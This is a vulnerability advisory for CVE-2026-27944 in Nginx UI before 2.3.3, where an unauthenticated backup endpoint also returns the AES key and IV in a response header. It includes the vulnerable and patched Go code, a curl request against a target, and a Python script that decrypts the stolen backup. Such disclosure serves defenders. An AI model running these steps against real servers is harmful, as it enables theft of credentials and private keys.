Mar 5, 2026·5 min read·12 visits
Unauthenticated attackers can download full system backups from Nginx UI instances (< 2.3.3) via the `/api/backup` endpoint. The server response includes the AES decryption keys in the `X-Backup-Security` header, allowing attackers to decrypt sensitive data like database credentials and SSH keys. Fixed in version 2.3.3.
A critical authentication bypass and information disclosure vulnerability exists in Nginx UI versions prior to 2.3.3. The application exposes the `/api/backup` endpoint without requiring authentication, allowing unauthenticated remote attackers to trigger and download full system backups. Compounding this issue, the backup generation logic explicitly includes the AES-256 encryption key and initialization vector (IV) in the HTTP response headers, enabling immediate decryption of the downloaded archives. This flaw permits complete system compromise through the exfiltration of database credentials, SSL private keys, and application configuration files.
Nginx UI is a popular web-based management interface for Nginx servers, providing features to configure virtual hosts, manage SSL certificates, and monitor system metrics. In versions prior to 2.3.3, a critical architectural failure exists in the backup management subsystem.
The vulnerability is twofold. First, the API route responsible for generating and serving backups (/api/backup) was exposed to the public internet without any authentication middleware. This classifies as a standard Authentication Bypass (CWE-306). Second, and more critically, the application failed to securely manage the cryptographic material used to protect these backups. Instead of storing the decryption key securely on the server or requiring a user-provided passphrase, the backend automatically generated ephemeral AES keys and transmitted them back to the requester in a custom HTTP header (X-Backup-Security).
This combination of flaws transforms what might have been an opaque binary blob (an encrypted backup) into a fully accessible archive of the server's most sensitive data. The vulnerability is remotely exploitable via a single HTTP GET request, requiring no user interaction or prior privileges.
The vulnerability stems from two distinct implementation errors in the Go-based backend:
1. Missing Route Protection (CWE-306):
In modern web frameworks (like Gin or Echo used in Go), sensitive routes are typically grouped under middleware that validates session tokens or JWTs. The Nginx UI developers failed to register the /api/backup endpoint within the authenticated router group. While endpoints like /api/settings or /api/nginx were correctly protected, the backup route was effectively treated as a public asset, likely due to an oversight during the registration of route handlers in api/backup/router.go.
2. Insecure Key Transmission (CWE-321):
The backup handler (CreateBackup in api/backup/backup.go) implements a cryptographic anti-pattern. The system generates a random 32-byte key for AES-256 encryption. However, to facilitate easy restoration for the user, the developer chose to transmit this key immediately to the client. The code creates a custom header, X-Backup-Security, containing the Base64-encoded Key and Initialization Vector (IV). By delivering the cryptographic key alongside the ciphertext in the same channel, the encryption provides no effective security against an attacker who can intercept or request the data.
The following analysis illustrates the insecure implementation in the request handler and the subsequent remediation.
In the vulnerable version, the router setup lacks the authRequired middleware wrapper, and the handler explicitly leaks the key:
// api/backup/router.go (Vulnerable)
func InitRouter(r *gin.RouterGroup) {
// FLAW: The backup route is registered publicly
r.GET("/backup", CreateBackup)
}
// api/backup/backup.go (Vulnerable)
func CreateBackup(c *gin.Context) {
// ... [Backup generation logic] ...
key := utils.GenerateRandomKey(32)
iv := utils.GenerateRandomKey(16)
// Encrypt the backup file
encryptedData := utils.AesEncrypt(data, key, iv)
// CRITICAL FLAW: Leaking the key and IV in headers
keyStr := base64.StdEncoding.EncodeToString(key)
ivStr := base64.StdEncoding.EncodeToString(iv)
c.Header("X-Backup-Security", keyStr + ":" + ivStr)
c.Data(200, "application/octet-stream", encryptedData)
}The fix involves enforcing authentication and removing the header leakage. The key is now likely managed differently or the backup mechanism was refactored to not send keys over the wire in this manner.
// api/backup/router.go (Patched)
func InitRouter(r *gin.RouterGroup) {
// FIX: Route is now protected by authentication middleware
auth := r.Group("/backup")
auth.Use(middleware.Auth())
{
auth.GET("", CreateBackup)
}
}
// api/backup/backup.go (Patched)
func CreateBackup(c *gin.Context) {
// ... [Backup generation logic] ...
// FIX: The X-Backup-Security header injection is removed.
// Keys are no longer returned to the client in headers.
c.Data(200, "application/octet-stream", encryptedData)
}Exploiting CVE-2026-27944 is trivial and reliable. An attacker requires only network access to the Nginx UI port (default: 80 or 443, depending on configuration).
1. Retrieval: The attacker issues a GET request to the target.
curl -v -o backup.bin http://target-ip/api/backup2. Key Extraction: The response headers will contain the leakage:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
X-Backup-Security: uFT8...[Key]...==:v1D...[IV]...==
Content-Length: 10485763. Decryption:
The attacker parses the header. The string before the colon (:) is the AES key; the string after is the IV. Both are Base64 encoded. Using OpenSSL or a simple Python script, the attacker decrypts the payload:
from Crypto.Cipher import AES
import base64
# Values from X-Backup-Security header
key = base64.b64decode("uFT8...")
iv = base64.b64decode("v1D...")
with open('backup.bin', 'rb') as f:
ciphertext = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
with open('backup.tar.gz', 'wb') as f:
f.write(plaintext)Once decrypted, the archive typically contains SQLite databases (database.db) with user credentials, Nginx configuration files, and SSL certificates.
The impact of this vulnerability is Critical (CVSS 9.8) because it leads to total compromise of the application and potentially the underlying server infrastructure.
Data Confidentiality:
The backup archive contains the Nginx UI database.db. This SQLite file stores administrative user accounts, hashed passwords, and potentially 2FA secrets. It also contains the app.ini configuration file, which may store secrets for third-party integrations.
Infrastructure Security: Nginx UI manages SSL certificates. The backup includes the private keys for all managed domains. An attacker can use these keys to decrypt previously captured traffic or impersonate the server (Man-in-the-Middle). Additionally, the Nginx configuration files reveal the internal network topology, upstream proxy targets, and routing rules.
Access Control: With access to the database, an attacker can extract the admin password hash, crack it (or replace it if they can manipulate the live DB file via other means), and log in to the UI with full administrative privileges. From there, they can execute arbitrary commands by modifying Nginx configurations to invoke shell scripts or binaries.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Nginx UI 0xJacky | < 2.3.3 | 2.3.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Auth), CWE-311 (Missing Encryption) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network (Remote) |
| Impact | Information Disclosure, Full System Compromise |
| Exploit Status | PoC Available |
| KEV Status | Not Listed (as of March 2026) |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.